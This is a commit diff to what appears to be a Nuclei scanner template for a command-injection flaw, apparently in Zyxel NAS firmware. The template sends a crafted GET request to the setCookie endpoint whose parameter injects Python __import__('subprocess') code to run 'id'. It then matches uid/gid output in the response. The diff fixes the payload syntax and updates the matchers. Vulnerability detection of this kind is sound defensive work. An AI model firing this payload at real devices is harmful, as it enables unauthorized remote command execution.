updated matchers
parent
6f52cb2404
commit
ab764a0ace
|
@ -27,16 +27,14 @@ info:
|
|||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+_import_("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
|
||||
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code == 200"
|
||||
- "contains(body, 'errmsg0\": \"OK')"
|
||||
- "contains(header, 'application/json')"
|
||||
- regex('uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)', body)
|
||||
condition: and
|
||||
|
|
Loading…
Reference in New Issue